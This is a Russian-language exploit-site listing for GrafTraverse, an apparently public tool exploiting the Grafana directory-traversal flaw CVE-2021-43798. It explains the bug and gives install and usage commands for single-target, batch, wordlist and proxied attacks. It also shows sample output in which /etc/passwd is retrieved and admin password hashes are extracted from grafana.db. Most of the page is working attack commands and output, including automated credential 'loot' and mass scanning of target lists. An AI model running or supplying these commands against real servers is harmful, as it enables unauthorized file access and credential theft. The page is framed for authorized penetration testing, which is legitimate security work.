## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ASBAWY-GRAFTRAVERSE-CVE-2021-43798
# GrafTraverse - Мини-фреймворк эксплуатации CVE-2021-43798
  
> **Инструмент автоматизации командной строки для авторизованного тестирования безопасности уязвимости обхода каталогов Grafana (CVE-2021-43798).**
* * *
## Обзор

**CVE-2021-43798** — это неаутентифицированная уязвимость обхода каталогов в Grafana 8.x, которая позволяет злоумышленникам читать произвольные файлы в файловой системе через конечную точку `/public/plugins/`. Основная причина — некорректная санитизация пути при запросах ресурсов плагинов, что позволяет последовательностям `../` выйти за пределы целевого каталога.
**GrafTraverse** — это полная переработка оригинального proof-of-concept. Он исправляет критически важные ошибки обработки запросов, добавляет многопоточное пакетное сканирование, автоматическое обнаружение плагинов, извлечение учётных данных и структурированную отчётность, что делает его инструментом производственного уровня для групп красных команд и пентестеров.
* * *
## Возможности
* * *
## Установка
root@kitploit:~
# Clone the repository
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# Ensure requests is available (it ships with Kali)
pip3 install requests
# Make executable
chmod +x GrafTraverse.py
* * *
## Использование
GrafTraverse использует **CLI на основе подкоманд**. Все команды поддерживают `--help`.
### 1\. Интерактивная одиночная цель
Запуск интерактивного меню для одной цели:
root@kitploit:~
python3 GrafTraverse.py single -u http://IP:PORT
root@kitploit:~
============================================================
INTERACTIVE MODE
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Custom path
5. Full automated loot
6. Scan plugins
7. Exit
============================================================
### 2\. Сканирование плагинов
Быстрое определение уязвимой конечной точки плагина без эксплуатации:
root@kitploit:~
python3 GrafTraverse.py scan -u http://target:PORT
### 3\. Пакетное сканирование
Загрузка целей из файла и их одновременная обработка:
root@kitploit:~
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
**Формат`targets.txt`:**
root@kitploit:~
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Lines starting with # are ignored
### 4\. Перебор по списку слов
Подача пользовательского списка файлов для глубокого обхода:
root@kitploit:~
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
### 5\. Прокси и пользовательские заголовки
Маршрутизация через Burp Suite и добавление пользовательских заголовков:
root@kitploit:~
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
* * *
## Справочник команд
### `single`
### `batch`
Флаг| Описание
---|---
`-l, --list`| Файл с URL целей (обязательно)
`--workers`| Одновременные потоки (по умолчанию: 5)
_(поддерживаются все флаги`single`)_|
### `scan`
Флаг| Описание
---|---
`-u, --url`| URL цели (обязательно)
_(поддерживаются все сетевые флаги)_|
* * *
## Пример вывода
### Успешное получение файла
root@kitploit:~
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
### Извлечение хэша из базы данных Grafana
root@kitploit:~
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
* * *
## Целевые файлы (автоматическая добыча)
Встроенная последовательность добычи пытается получить следующие файлы по порядку:
* * *
## Уязвимые версии
* Grafana с **8.0.0** по **8.3.0**
* Исправлено в **8.3.1** и **7.5.12**